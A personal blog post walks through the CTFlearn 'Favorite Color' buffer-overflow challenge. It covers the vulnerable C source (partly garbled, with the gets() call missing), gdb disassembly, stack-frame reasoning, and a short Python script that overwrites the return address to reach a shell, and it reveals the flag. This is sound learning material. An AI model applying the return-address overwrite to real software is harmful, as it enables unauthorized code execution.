Buffer Overflow: Favorite Color CTF

1896 views gdb reverse-engineering linux ctf c++

by CPunch

Warning: I am going to leak the flag & the solution to this challenge in this post. If you want to try it for yourself please do so before reading this. Thank you!

Hey! So I recently made an account on ctflearn.com which is this great site that teaches you how to do CTFs and gives you practice ones you can use to learn! I've always wanted to try out a CTF, so I quickly found a fairly simple one in the binary section and tried it out. I picked one with a lot of solves because I am a complete noob haha. Let's take a look!

Here's a link to the CTF I picked: https://ctflearn.com/challenge/391, it reads:

What's your favorite color? Would you like to share with me? Run the command: ssh [email protected] -p 1001 (pw: guest) to tell me!

First thing it asks us to do is ssh into a server where our binary is. So lets take a look around.

Ah, okay so it gives us a binary "color", and the source "color.c". We also have flag.txt and the Makefile for color. We don't have the permissions to read flag.txt yet. So, lets run the binary and see what happens!

Hmm, okay lets look at the makefile...

Woah, okay that is a huge hint! Checkout that -fno-stack-protector flag! If we look up what that no-protector flag does, this stack-overflow answer reads

"If you compile with -fstack-protector, then there will be a little more space allocated on the stack and a little more overhead on entry to and return from a function while the code sets up the checks and then actually checks whether you've overwritten the stack while in the function."

So they purposely disabled the stack protector in this binary for us to exploit! So now that we know this is a buffer overflow attack, lets take a look at color.c:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int vuln() {
    char buf[32];
    printf("Enter your favorite color: ");
    int good = 0;
    for (int i = 0; buf[i]; i++) {
        good &= buf[i] ^ buf[i];
    return good;

int main(char argc, char** argv) {
    setresuid(getegid(), getegid(), getegid());
    setresgid(getegid(), getegid(), getegid());
    //disable buffering.
    setbuf(stdout, NULL);
    if (vuln()) {
        puts("Me too! That's my favorite color too!");
        puts("You get a shell! Flag is in flag.txt");
    } else {
        puts("Boo... I hate that color! :(");

Okay, so it looks like when we solve the problem, it'll open a shell under a user that has permissions to read flag.txt.. but wait, hold on, take a look at vuln().. It's using gets()! This is a classic example of a buffer overflow. gets() is notorious for being poggers. geeksforgeeks.org explains why perfectly!

So, when we supply our char array with a size of 32, what do you think will happen if we supply something larger than that? Let's find out! So I compiled color.c (I removed the setresuid and setresgid calls)

GCC actually warns us that gets is dangerous, how nice of them! char buff[32]; creates a limited character array, and gets() puts a user-supplied string (which is much bigger than 32) into buf, smashing the stack! And look! It caught our smashed stack! Anyways, back to the OG color.c.

Let's debug the binary with gdp. If you're unfamiliar with gdb it's an EXTREMELY powerful command-line tool that lets you read the assembly of programs and debug them in real time!

Okay and now lets disassemble our vuln() function and compare the assembly to our c source!

I ran "disassemble vuln" and got this disassembly:

(gdb) disassemble vuln
Dump of assembler code for function vuln:
   0x0804858b <+0>:    push   %ebp
   0x0804858c <+1>:    mov    %esp,%ebp
   0x0804858e <+3>:    sub    $0x38,%esp
   0x08048591 <+6>:    sub    $0xc,%esp
   0x08048594 <+9>:    push   $0x8048730
   0x08048599 <+14>:    call   0x8048410 <[email protected]>
   0x0804859e <+19>:    add    $0x10,%esp
   0x080485a1 <+22>:    sub    $0xc,%esp
   0x080485a4 <+25>:    lea    -0x30(%ebp),%eax
   0x080485a7 <+28>:    push   %eax
   0x080485a8 <+29>:    call   0x8048420 <[email protected]>
   0x080485ad <+34>:    add    $0x10,%esp
   0x080485b0 <+37>:    movl   $0x0,-0xc(%ebp)
   0x080485b7 <+44>:    movl   $0x0,-0x10(%ebp)
   0x080485be <+51>:    jmp    0x80485cb <vuln+64>
   0x080485c0 <+53>:    movl   $0x0,-0xc(%ebp)
   0x080485c7 <+60>:    addl   $0x1,-0x10(%ebp)
   0x080485cb <+64>:    lea    -0x30(%ebp),%edx
   0x080485ce <+67>:    mov    -0x10(%ebp),%eax
   0x080485d1 <+70>:    add    %edx,%eax
   0x080485d3 <+72>:    movzbl (%eax),%eax
   0x080485d6 <+75>:    test   %al,%al
   0x080485d8 <+77>:    jne    0x80485c0 <vuln+53>
   0x080485da <+79>:    mov    -0xc(%ebp),%eax
   0x080485dd <+82>:    leave  
   0x080485de <+83>:    ret

Okay, ignore everything else except our call to gets(), because thats the real vulnerability.

   0x080485a4 <+25>:    lea    -0x30(%ebp),%eax
   0x080485a7 <+28>:    push   %eax
   0x080485a8 <+29>:    call   0x8048420 <[email protected]>

Alright so, maybe if I explain a little bit about what's happening. These 3 instructions are the equivalent of our gets(buf); call. Here's it broken down by instruction.

 lea    -0x30(%ebp),%eax -- loads address of buf[] into the eax register (buf is a local variable in our stackframe!) at address of -0x30 from ebp (or stack base pointer)
 push   %eax -- pushes buf[] onto the stack
 call   0x8048420 <[email protected]> -- calls gets!

Now let's look at how the stackframe is setup. Here's a helpful graph I made to help kind of explain how this stack frame actually looks.

[EBP - Base Stack Pointer, also 0x30 is 48 in decimal]

So, our plan is pretty simple. fill the buffer with 52 bytes of useless gunk, and then our crafted return address. So, when gets() returns, it'll jump to our crafted return value instead! Nice! Okay, but where do we want to jump too? Let's disassemble main and try and find our test after our call to vuln()

   0x0804864e <+111>:    call   0x804858b <vuln>
   0x08048653 <+116>:    test   %eax,%eax
   0x08048655 <+118>:    je     0x8048689 <main+170>
   0x08048657 <+120>:    sub    $0xc,%esp

Alright so after our call to vuln, it tests if it returns zero, and if so, it'll jump to 0x8048689. If you're new to reading generated assembly and don't understand why the above comparison works (like me!) read this stack-overflow answer where this guy explains it nicely :)

So our crafted return value should be 0x08048657!

Alright so let's try crafting our input!

Like I said, first 52 bytes can be anything. The last 4 bytes are what really matters :) I haven't mentioned it yet, but we'll need to know if the system is little endian or big endian. Basically this is just the way that addresses are encoded in instructions, little endian means it's encoded in reverse, big endian means it's encoded normally. We can check by using "lscpu"

Yeah, so we'll have to reverse the return address in our crafted buffer! Which trust me, is way simpler than it sounds haha. Here's my python script I used to craft the input

# this script crafts input buffer for the favorite color ctf challenge

uselessBuffer = "A" * 48 # can be whatever, doesn't matter
uselessEBP = "B" * 4 # can be whatever, doesn't matter lol
craftedReturn = "\x57\x86\x04\x08" # this is in little-endian format of 0x08048657

print(uselessBuffer + uselessEBP + craftedReturn)

The CTF maker was kind and let us create files under a folder in /tmp, so I'll make my script there and pipe the input into ./color

Alright so now that that's done all we have to do is to just pipe our crafted input into it!

and there we go!! It worked!! "flag{c0lor_0f_0verflow}".

Thanks so much for reading! Hopefully I did an okay job explaining stuff haha. This was super fun and I learnt a lot about using GDB and a good refresher on stack frames. I might do more posts about CTF's in the future, but until then cya!

Dec 09, 2019 by CPunch
Dec 16, 2019 by CTFlearn

Glad you liked the challenge! @thekidofarcrania makes some great ones!